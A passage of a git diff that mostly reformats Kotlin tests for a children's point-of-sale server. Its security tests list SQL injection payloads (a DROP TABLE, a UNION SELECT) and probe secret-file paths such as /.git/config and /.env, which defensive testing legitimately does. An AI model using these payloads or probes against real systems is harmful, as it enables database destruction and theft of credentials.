CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) - - val summary = SaleSummary( - totalAmount = 300, - deposit = 400, - change = 100, - itemCount = 2, - uniqueItems = 2, - itemQuantities = mapOf(1 to 1, 2 to 1) - ) - - val expectedSaleBean = SaleBean( - storeId = request.storeId, - staffBarcode = request.staffBarcode, - itemIds = request.itemIds, - deposit = request.deposit - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) + + val summary = + SaleSummary( + totalAmount = 300, + deposit = 400, + change = 100, + itemCount = 2, + uniqueItems = 2, + itemQuantities = mapOf(1 to 1, 2 to 1), + ) + + val expectedSaleBean = + SaleBean( + storeId = request.storeId, + staffBarcode = request.staffBarcode, + itemIds = request.itemIds, + deposit = request.deposit, + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(expectedSaleBean, testItems)) @@ -110,19 +114,21 @@ class SaleApiControllerUnitTest { @Test fun `should return bad request for validation error`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 100 - ) - - val expectedSaleBean = SaleBean( - storeId = request.storeId, - staffBarcode = request.staffBarcode, - itemIds = request.itemIds, - deposit = request.deposit - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 100, + ) + + val expectedSaleBean = + SaleBean( + storeId = request.storeId, + staffBarcode = request.staffBarcode, + itemIds = request.itemIds, + deposit = request.deposit, + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(expectedSaleBean, testItems)) @@ -146,19 +152,21 @@ class SaleApiControllerUnitTest { @Test fun `should return internal server error for processing error`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) - - val expectedSaleBean = SaleBean( - storeId = request.storeId, - staffBarcode = request.staffBarcode, - itemIds = request.itemIds, - deposit = request.deposit - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) + + val expectedSaleBean = + SaleBean( + storeId = request.storeId, + staffBarcode = request.staffBarcode, + itemIds = request.itemIds, + deposit = request.deposit, + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(expectedSaleBean, testItems)) @@ -182,12 +190,13 @@ class SaleApiControllerUnitTest { @Test fun `should handle exception during sale creation`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) `when`(itemParsingService.parseItemsFromIds("1,2")) .thenThrow(RuntimeException("Parsing error")) @@ -210,19 +219,21 @@ class SaleApiControllerUnitTest { @Test fun `should return error for generic sale error`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) - - val expectedSaleBean = SaleBean( - storeId = request.storeId, - staffBarcode = request.staffBarcode, - itemIds = request.itemIds, - deposit = request.deposit - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) + + val expectedSaleBean = + SaleBean( + storeId = request.storeId, + staffBarcode = request.staffBarcode, + itemIds = request.itemIds, + deposit = request.deposit, + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(expectedSaleBean, testItems)) @@ -242,4 +253,4 @@ class SaleApiControllerUnitTest { verify(saleProcessingService).processSaleWithValidation(expectedSaleBean, testItems) verifyNoInteractions(receiptService) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiControllerUnitTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiControllerUnitTest.kt index 576cfa8..4e34735 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiControllerUnitTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiControllerUnitTest.kt @@ -9,7 +9,6 @@ import org.mockito.junit.jupiter.MockitoExtension @ExtendWith(MockitoExtension::class) class SettingApiControllerUnitTest { - @InjectMocks private lateinit var controller: SettingApiController @@ -34,4 +33,4 @@ class SettingApiControllerUnitTest { // Assert assertEquals(statusValue, statusBean.status) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiControllerUnitTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiControllerUnitTest.kt index 61e43cf..2ced3c8 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiControllerUnitTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiControllerUnitTest.kt @@ -16,7 +16,6 @@ import org.mockito.junit.jupiter.MockitoExtension @ExtendWith(MockitoExtension::class) class StaffApiControllerUnitTest { - @Mock private lateinit var staffService: StaffService @@ -27,10 +26,11 @@ class StaffApiControllerUnitTest { fun `getStaff should return staff when found`() { // Arrange val barcode = "ST123456" - val expectedStaff = StaffEntity( - barcode = barcode, - name = "Test Staff" - ) + val expectedStaff = + StaffEntity( + barcode = barcode, + name = "Test Staff", + ) `when`(staffService.findStaff(barcode)).thenReturn(expectedStaff) // Act @@ -53,9 +53,10 @@ class StaffApiControllerUnitTest { `when`(staffService.findStaff(barcode)).thenReturn(null) // Act & Assert - val exception = assertThrows { - controller.getStaff(barcode) - } + val exception = + assertThrows { + controller.getStaff(barcode) + } assertEquals("Staff with barcode $barcode not found", exception.message) verify(staffService).findStaff(barcode) } @@ -67,10 +68,11 @@ class StaffApiControllerUnitTest { `when`(staffService.findStaff(barcode)).thenReturn(null) // Act & Assert - val exception = assertThrows { - controller.getStaff(barcode) - } + val exception = + assertThrows { + controller.getStaff(barcode) + } assertEquals("Staff with barcode not found", exception.message) verify(staffService).findStaff(barcode) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiControllerUnitTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiControllerUnitTest.kt index 674510e..7717453 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiControllerUnitTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiControllerUnitTest.kt @@ -13,7 +13,6 @@ import org.mockito.junit.jupiter.MockitoExtension @ExtendWith(MockitoExtension::class) class StoreApiControllerUnitTest { - @Mock private lateinit var storeService: StoreService @@ -23,16 +22,18 @@ class StoreApiControllerUnitTest { @Test fun `getStores should return list of stores from service`() { // Arrange - val store1 = StoreEntity( - id = 1, - name = "Store 1", - printerUri = "http://printer1.local" - ) - val store2 = StoreEntity( - id = 2, - name = "Store 2", - printerUri = "http://printer2.local" - ) + val store1 = + StoreEntity( + id = 1, + name = "Store 1", + printerUri = "http://printer1.local", + ) + val store2 = + StoreEntity( + id = 2, + name = "Store 2", + printerUri = "http://printer2.local", + ) val expectedStores = listOf(store1, store2) `when`(storeService.findAll()).thenReturn(expectedStores) @@ -61,4 +62,4 @@ class StoreApiControllerUnitTest { assertTrue(result.body?.isEmpty() == true) verify(storeService).findAll() } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/repository/ItemRepositoryTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/repository/ItemRepositoryTest.kt index 39326bd..01d527c 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/repository/ItemRepositoryTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/repository/ItemRepositoryTest.kt @@ -37,24 +37,27 @@ class ItemRepositoryTest { entityManager.clear() // Create test data with unique IDs - testItem1 = ItemEntity( - id = 1001, - barcode = "123456789", - name = "Test Item 1", - price = 100 - ) - testItem2 = ItemEntity( - id = 1002, - barcode = "987654321", - name = "Test Item 2", - price = 200 - ) - testItem3 = ItemEntity( - id = 1003, - barcode = "555666777", - name = "Expensive Item", - price = 1000 - ) + testItem1 = + ItemEntity( + id = 1001, + barcode = "123456789", + name = "Test Item 1", + price = 100, + ) + testItem2 = + ItemEntity( + id = 1002, + barcode = "987654321", + name = "Test Item 2", + price = 200, + ) + testItem3 = + ItemEntity( + id = 1003, + barcode = "555666777", + name = "Expensive Item", + price = 1000, + ) // Persist test data testItem1 = itemRepository.save(testItem1) @@ -103,12 +106,13 @@ class ItemRepositoryTest { @Test fun `should save new item`() { // Given - val newItem = ItemEntity( - id = 2001, - barcode = "111222333", - name = "New Item", - price = 300 - ) + val newItem = + ItemEntity( + id = 2001, + barcode = "111222333", + name = "New Item", + price = 300, + ) // When val savedItem = itemRepository.save(newItem) @@ -131,12 +135,13 @@ class ItemRepositoryTest { fun `should update existing item by creating new instance`() { // Given - fetch and update existing item val existingItem = itemRepository.findById(testItem1.id).orElseThrow() - val updatedItem = ItemEntity( - id = existingItem.id, - barcode = existingItem.barcode, - name = existingItem.name, - price = 150 - ) + val updatedItem = + ItemEntity( + id = existingItem.id, + barcode = existingItem.barcode, + name = existingItem.name, + price = 150, + ) // When val savedItem = itemRepository.save(updatedItem) @@ -243,4 +248,4 @@ class ItemRepositoryTest { // Should be the highest ID (testItem3.id = 1003) assertEquals(1003, lastId) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/repository/QueryOptimizationTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/repository/QueryOptimizationTest.kt index d6e3a33..a1c630c 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/repository/QueryOptimizationTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/repository/QueryOptimizationTest.kt @@ -47,12 +47,13 @@ class QueryOptimizationTest { fun `should use pagination for large result sets`() { // Given - Create 50 items for (i in 1..50) { - val item = ItemEntity( - id = i, - barcode = "BAR$i", - name = "Item $i", - price = i * 100 - ) + val item = + ItemEntity( + id = i, + barcode = "BAR$i", + name = "Item $i", + price = i * 100, + ) entityManager.persist(item) } entityManager.flush() @@ -76,28 +77,30 @@ class QueryOptimizationTest { val store = StoreEntity(id = 1, name = "Test Store", printerUri = "http://printer") entityManager.persist(store) - val sale = SaleEntity( - id = 1, - storeId = 1, - staffId = 1, - quantity = 3, - amount = 300, - deposit = 500, - createdAt = java.util.Date() - ) + val sale = + SaleEntity( + id = 1, + storeId = 1, + staffId = 1, + quantity = 3, + amount = 300, + deposit = 500, + createdAt = java.util.Date(), + ) entityManager.persist(sale) for (i in 1..3) { val item = ItemEntity(id = i, barcode = "BAR$i", name = "Item $i", price = 100) entityManager.persist(item) - val detail = SaleDetailEntity( - id = i, - saleId = 1, - itemId = i, - price = 100, - quantity = 1 - ) + val detail = + SaleDetailEntity( + id = i, + saleId = 1, + itemId = i, + price = 100, + quantity = 1, + ) entityManager.persist(detail) } entityManager.flush() @@ -139,12 +142,13 @@ class QueryOptimizationTest { fun `should use projections for read-only queries`() { // Given - Create test data for (i in 1..10) { - val item = ItemEntity( - id = i, - barcode = "BAR$i", - name = "Item $i", - price = i * 100 - ) + val item = + ItemEntity( + id = i, + barcode = "BAR$i", + name = "Item $i", + price = i * 100, + ) entityManager.persist(item) } entityManager.flush() @@ -165,12 +169,13 @@ class QueryOptimizationTest { fun `should use indexed fields for faster queries`() { // Given - Create test data with barcodes for (i in 1..100) { - val item = ItemEntity( - id = i, - barcode = String.format("%013d", i), - name = "Item $i", - price = i * 10 - ) + val item = + ItemEntity( + id = i, + barcode = String.format("%013d", i), + name = "Item $i", + price = i * 10, + ) entityManager.persist(item) } entityManager.flush() @@ -189,12 +194,13 @@ class QueryOptimizationTest { fun `should optimize count queries`() { // Given - Create test data for (i in 1..100) { - val item = ItemEntity( - id = i, - barcode = "BAR$i", - name = "Item $i", - price = if (i % 2 == 0) 100 else 200 - ) + val item = + ItemEntity( + id = i, + barcode = "BAR$i", + name = "Item $i", + price = if (i % 2 == 0) 100 else 200, + ) entityManager.persist(item) } entityManager.flush() @@ -216,4 +222,4 @@ interface ItemSummary { val id: Int val name: String val price: Int -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/repository/SaleRepositoryTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/repository/SaleRepositoryTest.kt index 1bb51fa..57f2584 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/repository/SaleRepositoryTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/repository/SaleRepositoryTest.kt @@ -30,33 +30,36 @@ class SaleRepositoryTest { testDate = Date() // Create test data - testSale1 = SaleEntity( - id = 0, - storeId = 1, - staffId = 1, - quantity = 2, - amount = 300, - deposit = 400, - createdAt = Date(testDate.time - 86400000) // 1 day ago - ) - testSale2 = SaleEntity( - id = 0, - storeId = 1, - staffId = 2, - quantity = 3, - amount = 500, - deposit = 500, - createdAt = Date(testDate.time - 3600000) // 1 hour ago - ) - testSale3 = SaleEntity( - id = 0, - storeId = 2, - staffId = 1, - quantity = 1, - amount = 200, - deposit = 300, - createdAt = testDate - ) + testSale1 = + SaleEntity( + id = 0, + storeId = 1, + staffId = 1, + quantity = 2, + amount = 300, + deposit = 400, + createdAt = Date(testDate.time - 86400000), // 1 day ago + ) + testSale2 = + SaleEntity( + id = 0, + storeId = 1, + staffId = 2, + quantity = 3, + amount = 500, + deposit = 500, + createdAt = Date(testDate.time - 3600000), // 1 hour ago + ) + testSale3 = + SaleEntity( + id = 0, + storeId = 2, + staffId = 1, + quantity = 1, + amount = 200, + deposit = 300, + createdAt = testDate, + ) // Persist test data testSale1 = entityManager.persistAndFlush(testSale1) @@ -77,15 +80,16 @@ class SaleRepositoryTest { @Test fun `should save new sale`() { // Given - val newSale = SaleEntity( - id = 0, - storeId = 3, - staffId = 3, - quantity = 4, - amount = 600, - deposit = 700, - createdAt = Date() - ) + val newSale = + SaleEntity( + id = 0, + storeId = 3, + staffId = 3, + quantity = 4, + amount = 600, + deposit = 700, + createdAt = Date(), + ) // When val savedSale = saleRepository.save(newSale) @@ -225,15 +229,16 @@ class SaleRepositoryTest { @Test fun `should update existing sale by creating new instance`() { // Given - create a copy with updated amount - val updatedSale = SaleEntity( - id = testSale1.id, - storeId = testSale1.storeId, - staffId = testSale1.staffId, - quantity = testSale1.quantity, - amount = 350, - deposit = testSale1.deposit, - createdAt = testSale1.createdAt - ) + val updatedSale = + SaleEntity( + id = testSale1.id, + storeId = testSale1.storeId, + staffId = testSale1.staffId, + quantity = testSale1.quantity, + amount = 350, + deposit = testSale1.deposit, + createdAt = testSale1.createdAt, + ) // When val savedSale = saleRepository.save(updatedSale) @@ -249,4 +254,4 @@ class SaleRepositoryTest { assertTrue(foundSale.isPresent) assertEquals(350, foundSale.get().amount) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/repository/StaffRepositoryTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/repository/StaffRepositoryTest.kt index e7149a0..479f67e 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/repository/StaffRepositoryTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/repository/StaffRepositoryTest.kt @@ -41,15 +41,15 @@ class StaffRepositoryTest { @Nested @DisplayName("Save Operations") inner class SaveOperations { - @Test @DisplayName("Should save new staff member") fun shouldSaveNewStaffMember() { // Given - val staff = StaffEntity( - barcode = "STAFF001", - name = "Test Staff" - ) + val staff = + StaffEntity( + barcode = "STAFF001", + name = "Test Staff", + ) // When val savedStaff = staffRepository.save(staff) @@ -70,19 +70,21 @@ class StaffRepositoryTest { @DisplayName("Should update existing staff member") fun shouldUpdateExistingStaffMember() { // Given - val staff = StaffEntity( - barcode = "STAFF002", - name = "Original Name" - ) + val staff = + StaffEntity( + barcode = "STAFF002", + name = "Original Name", + ) staffRepository.save(staff) entityManager.flush() entityManager.clear() // When - val updatedStaff = StaffEntity( - barcode = "STAFF002", - name = "Updated Name" - ) + val updatedStaff = + StaffEntity( + barcode = "STAFF002", + name = "Updated Name", + ) val result = staffRepository.save(updatedStaff) entityManager.flush() entityManager.clear() @@ -99,11 +101,12 @@ class StaffRepositoryTest { @DisplayName("Should save multiple staff members") fun shouldSaveMultipleStaffMembers() { // Given - val staffList = listOf( - StaffEntity("STAFF003", "Staff One"), - StaffEntity("STAFF004", "Staff Two"), - StaffEntity("STAFF005", "Staff Three") - ) + val staffList = + listOf( + StaffEntity("STAFF003", "Staff One"), + StaffEntity("STAFF004", "Staff Two"), + StaffEntity("STAFF005", "Staff Three"), + ) // When val savedStaff = staffRepository.saveAll(staffList) @@ -117,7 +120,9 @@ class StaffRepositoryTest { val allStaff = staffRepository.findAll() assertThat(allStaff).hasSize(3) assertThat(allStaff.map { it.barcode }).containsExactlyInAnyOrder( - "STAFF003", "STAFF004", "STAFF005" + "STAFF003", + "STAFF004", + "STAFF005", ) } } @@ -125,14 +130,14 @@ class StaffRepositoryTest { @Nested @DisplayName("Find Operations") inner class FindOperations { - @BeforeEach fun setUpTestData() { - val staffList = listOf( - StaffEntity("FIND001", "Alice"), - StaffEntity("FIND002", "Bob"), - StaffEntity("FIND003", "Charlie") - ) + val staffList = + listOf( + StaffEntity("FIND001", "Alice"), + StaffEntity("FIND002", "Bob"), + StaffEntity("FIND003", "Charlie"), + ) staffRepository.saveAll(staffList) entityManager.flush() entityManager.clear() @@ -169,7 +174,9 @@ class StaffRepositoryTest { // Then assertThat(allStaff).hasSize(3) assertThat(allStaff.map { it.name }).containsExactlyInAnyOrder( - "Alice", "Bob", "Charlie" + "Alice", + "Bob", + "Charlie", ) } @@ -186,14 +193,14 @@ class StaffRepositoryTest { @Nested @DisplayName("Delete Operations") inner class DeleteOperations { - @BeforeEach fun setUpTestData() { - val staffList = listOf( - StaffEntity("DEL001", "Staff to Delete 1"), - StaffEntity("DEL002", "Staff to Delete 2"), - StaffEntity("DEL003", "Staff to Keep") - ) + val staffList = + listOf( + StaffEntity("DEL001", "Staff to Delete 1"), + StaffEntity("DEL002", "Staff to Delete 2"), + StaffEntity("DEL003", "Staff to Keep"), + ) staffRepository.saveAll(staffList) entityManager.flush() entityManager.clear() @@ -267,7 +274,6 @@ class StaffRepositoryTest { @Nested @DisplayName("Batch Operations") inner class BatchOperations { - @Test @DisplayName("Should count staff correctly") fun shouldCountStaffCorrectly() { @@ -279,8 +285,8 @@ class StaffRepositoryTest { listOf( StaffEntity("COUNT001", "Staff 1"), StaffEntity("COUNT002", "Staff 2"), - StaffEntity("COUNT003", "Staff 3") - ) + StaffEntity("COUNT003", "Staff 3"), + ), ) entityManager.flush() entityManager.clear() @@ -298,17 +304,18 @@ class StaffRepositoryTest { StaffEntity("BATCH001", "Staff 1"), StaffEntity("BATCH002", "Staff 2"), StaffEntity("BATCH003", "Staff 3"), - StaffEntity("BATCH004", "Staff 4") - ) + StaffEntity("BATCH004", "Staff 4"), + ), ) entityManager.flush() entityManager.clear() // When - val toDelete = listOf( - StaffEntity("BATCH001", "Staff 1"), - StaffEntity("BATCH003", "Staff 3") - ) + val toDelete = + listOf( + StaffEntity("BATCH001", "Staff 1"), + StaffEntity("BATCH003", "Staff 3"), + ) staffRepository.deleteAll(toDelete) entityManager.flush() entityManager.clear() @@ -328,8 +335,8 @@ class StaffRepositoryTest { StaffEntity("FINDALL001", "Staff A"), StaffEntity("FINDALL002", "Staff B"), StaffEntity("FINDALL003", "Staff C"), - StaffEntity("FINDALL004", "Staff D") - ) + StaffEntity("FINDALL004", "Staff D"), + ), ) entityManager.flush() entityManager.clear() @@ -341,7 +348,9 @@ class StaffRepositoryTest { // Then assertThat(foundStaff).hasSize(3) assertThat(foundStaff.map { it.barcode }).containsExactlyInAnyOrder( - "FINDALL001", "FINDALL003", "FINDALL004" + "FINDALL001", + "FINDALL003", + "FINDALL004", ) } } @@ -349,7 +358,6 @@ class StaffRepositoryTest { @Nested @DisplayName("Transaction and Rollback") inner class TransactionTests { - @Test @DisplayName("Should rollback transaction on failure") fun shouldRollbackTransactionOnFailure() { @@ -376,4 +384,4 @@ class StaffRepositoryTest { assertThat(finalCount).isEqualTo(initialCount + 1) // Only first save persisted } } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/security/DataExposureSecurityTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/security/DataExposureSecurityTest.kt index a5feedf..2f684d9 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/security/DataExposureSecurityTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/security/DataExposureSecurityTest.kt @@ -33,8 +33,10 @@ class DataExposureSecurityTest { @Test fun `should not expose internal system paths in errors`() { // エラーメッセージに内部システムパスを露出しない - val result = mockMvc.perform(get("/api/items/invalid-id")) - .andReturn() + val result = + mockMvc + .perform(get("/api/items/invalid-id")) + .andReturn() val response = result.response.contentAsString @@ -50,16 +52,18 @@ class DataExposureSecurityTest { @Test fun `should not expose database structure in errors`() { // エラーメッセージにデータベース構造を露出しない - val invalidItem = mapOf( - "invalid_field" to "value" - ) + val invalidItem = + mapOf( + "invalid_field" to "value", + ) - val result = mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(invalidItem)) - ) - .andReturn() + val result = + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(invalidItem)), + ).andReturn() val response = result.response.contentAsString @@ -75,19 +79,21 @@ class DataExposureSecurityTest { @Test fun `should not expose technology stack details`() { // 技術スタックの詳細を露出しない - val result = mockMvc.perform(get("/api/invalid")) - .andReturn() + val result = + mockMvc + .perform(get("/api/invalid")) + .andReturn() val response = result.response // 技術スタック情報が含まれていないことを確認 assertFalse( response.getHeader("X-Powered-By") != null, - "Should not expose X-Powered-By header" + "Should not expose X-Powered-By header", ) assertFalse( response.getHeader("Server")?.contains("version") == true, - "Should not expose server version" + "Should not expose server version", ) val body = response.contentAsString @@ -99,8 +105,10 @@ class DataExposureSecurityTest { @Test fun `should not include sensitive headers`() { // センシティブなヘッダーが含まれていないことを確認 - val result = mockMvc.perform(get("/api/items")) - .andReturn() + val result = + mockMvc + .perform(get("/api/items")) + .andReturn() val response = result.response @@ -114,19 +122,23 @@ class DataExposureSecurityTest { @Test fun `should implement proper error masking`() { // 適切なエラーマスキングを実装 - val testCases = listOf( - "/api/staff/999999", // 存在しないID - "/api/stores/999999", // 存在しないID - "/api/items/NONEXISTENT" // 存在しないバーコード - ) + val testCases = + listOf( + "/api/staff/999999", // 存在しないID + "/api/stores/999999", // 存在しないID + "/api/items/NONEXISTENT", // 存在しないバーコード + ) testCases.forEach { path -> - val result = mockMvc.perform(get(path)) - .andReturn() + val result = + mockMvc + .perform(get(path)) + .andReturn() assertEquals( - 404, result.response.status, - "Should return 404 for non-existent resources" + 404, + result.response.status, + "Should return 404 for non-existent resources", ) val response = result.response.contentAsString @@ -138,9 +150,11 @@ class DataExposureSecurityTest { @Test fun `should not expose internal IDs in URLs`() { // URLに内部IDを露出しない(セキュリティベストプラクティス) - val result = mockMvc.perform(get("/api/items")) - .andExpect(status().isOk()) - .andReturn() + val result = + mockMvc + .perform(get("/api/items")) + .andExpect(status().isOk()) + .andReturn() result.response.contentAsString @@ -152,21 +166,22 @@ class DataExposureSecurityTest { @Test fun `should sanitize log output`() { // ログ出力のサニタイズ - val sensitiveData = mapOf( - "barcode" to "TEST001", - "name" to "Test Item", - "price" to 100, - "password" to "should_not_be_logged", - "creditCard" to "4111111111111111", - "ssn" to "123-45-6789" - ) + val sensitiveData = + mapOf( + "barcode" to "TEST001", + "name" to "Test Item", + "price" to 100, + "password" to "should_not_be_logged", + "creditCard" to "4111111111111111", + "ssn" to "123-45-6789", + ) - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(sensitiveData)) - ) - .andReturn() + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(sensitiveData)), + ).andReturn() // ログに機密情報が記録されていないことを確認 // (実際のログ検証はログファイルへのアクセスが必要) @@ -176,11 +191,12 @@ class DataExposureSecurityTest { @Test fun `should not expose session IDs in URLs`() { // URLにセッションIDを露出しない - val result = mockMvc.perform( - get("/api/items") - .param("jsessionid", "ABC123DEF456") - ) - .andReturn() + val result = + mockMvc + .perform( + get("/api/items") + .param("jsessionid", "ABC123DEF456"), + ).andReturn() val response = result.response @@ -189,11 +205,11 @@ class DataExposureSecurityTest { if (location != null) { assertFalse( location.contains("jsessionid"), - "Should not include session ID in URL" + "Should not include session ID in URL", ) assertFalse( location.contains("sessionid"), - "Should not include session ID in URL" + "Should not include session ID in URL", ) } } @@ -201,19 +217,22 @@ class DataExposureSecurityTest { @Test fun `should implement secure headers`() { // セキュアなヘッダーが実装されていることを確認 - val result = mockMvc.perform(get("/")) - .andReturn() + val result = + mockMvc + .perform(get("/")) + .andReturn() val response = result.response // セキュリティヘッダーの確認 assertNotNull( response.getHeader("X-Content-Type-Options"), - "Should include X-Content-Type-Options" + "Should include X-Content-Type-Options", ) assertEquals( - "nosniff", response.getHeader("X-Content-Type-Options"), - "X-Content-Type-Options should be nosniff" + "nosniff", + response.getHeader("X-Content-Type-Options"), + "X-Content-Type-Options should be nosniff", ) // その他の推奨セキュリティヘッダー @@ -232,12 +251,14 @@ class DataExposureSecurityTest { // 複数回実行して時間を計測 repeat(10) { val startValid = System.currentTimeMillis() - mockMvc.perform(get("/api/items/$validBarcode")) + mockMvc + .perform(get("/api/items/$validBarcode")) .andReturn() validTimes.add(System.currentTimeMillis() - startValid) val startInvalid = System.currentTimeMillis() - mockMvc.perform(get("/api/items/$invalidBarcode")) + mockMvc + .perform(get("/api/items/$invalidBarcode")) .andReturn() invalidTimes.add(System.currentTimeMillis() - startInvalid) } @@ -250,34 +271,41 @@ class DataExposureSecurityTest { // タイミングの差が100ms以内であることを確認(調整可能) assertTrue( timeDifference < 100, - "Timing difference should be minimal to prevent timing attacks" + "Timing difference should be minimal to prevent timing attacks", ) } @Test fun `should not expose debug information in production`() { // 本番環境でデバッグ情報を露出しない - val result = mockMvc.perform(get("/api/debug")) - .andReturn() + val result = + mockMvc + .perform(get("/api/debug")) + .andReturn() assertEquals( - 404, result.response.status, - "Debug endpoints should not be accessible" + 404, + result.response.status, + "Debug endpoints should not be accessible", ) // Actuatorエンドポイントへのアクセスも確認 - mockMvc.perform(get("/actuator/beans")) + mockMvc + .perform(get("/actuator/beans")) .andExpect(status().is4xxClientError()) - mockMvc.perform(get("/actuator/mappings")) + mockMvc + .perform(get("/actuator/mappings")) .andExpect(status().is4xxClientError()) } @Test fun `should mask sensitive data in responses`() { // レスポンスでセンシティブデータをマスク - val result = mockMvc.perform(get("/api/staff/1")) - .andReturn() + val result = + mockMvc + .perform(get("/api/staff/1")) + .andReturn() if (result.response.status == 200) { val response = result.response.contentAsString @@ -289,7 +317,7 @@ class DataExposureSecurityTest { if (email != null && email.contains("@")) { assertTrue( email.contains("***") || email.length < email.count { it == '@' }, - "Email should be partially masked" + "Email should be partially masked", ) } } @@ -297,7 +325,7 @@ class DataExposureSecurityTest { // パスワードフィールドが含まれていないことを確認 assertFalse( staff.containsKey("password"), - "Password should never be included in response" + "Password should never be included in response", ) } } @@ -305,17 +333,19 @@ class DataExposureSecurityTest { @Test fun `should prevent directory listing`() { // ディレクトリリスティングを防ぐ - val paths = listOf( - "/static/", - "/images/", - "/css/", - "/js/", - "/WEB-INF/", - "/META-INF/" - ) + val paths = + listOf( + "/static/", + "/images/", + "/css/", + "/js/", + "/WEB-INF/", + "/META-INF/", + ) paths.forEach { path -> - mockMvc.perform(get(path)) + mockMvc + .perform(get(path)) .andExpect(status().is4xxClientError()) } } @@ -323,19 +353,21 @@ class DataExposureSecurityTest { @Test fun `should not expose backup files`() { // バックアップファイルを露出しない - val backupPaths = listOf( - "/web.xml.bak", - "/application.properties.backup", - "/database.sql", - "/.git/config", - "/.env", - "/config.json~", - "/backup.zip" - ) + val backupPaths = + listOf( + "/web.xml.bak", + "/application.properties.backup", + "/database.sql", + "/.git/config", + "/.env", + "/config.json~", + "/backup.zip", + ) backupPaths.forEach { path -> - mockMvc.perform(get(path)) + mockMvc + .perform(get(path)) .andExpect(status().isNotFound()) } } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/security/InputValidationSecurityTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/security/InputValidationSecurityTest.kt index a1021ba..3ad031a 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/security/InputValidationSecurityTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/security/InputValidationSecurityTest.kt @@ -33,24 +33,27 @@ class InputValidationSecurityTest { @Test fun `should reject SQL injection in barcode field`() { // バーコードフィールドでのSQLインジェクション - val sqlInjectionPayloads = listOf( - "' OR '1'='1", - "'; DROP TABLE item; --", - "1' UNION SELECT * FROM users--", - "admin'--", - "' OR 1=1--", - "\" OR \"\"=\"", - "' OR ''='" - ) + val sqlInjectionPayloads = + listOf( + "' OR '1'='1", + "'; DROP TABLE item; --", + "1' UNION SELECT * FROM users--", + "admin'--", + "' OR 1=1--", + "\" OR \"\"=\"", + "' OR ''='", + ) sqlInjectionPayloads.forEach { payload -> - val result = mockMvc.perform(get("/api/items/$payload")) - .andReturn() + val result = 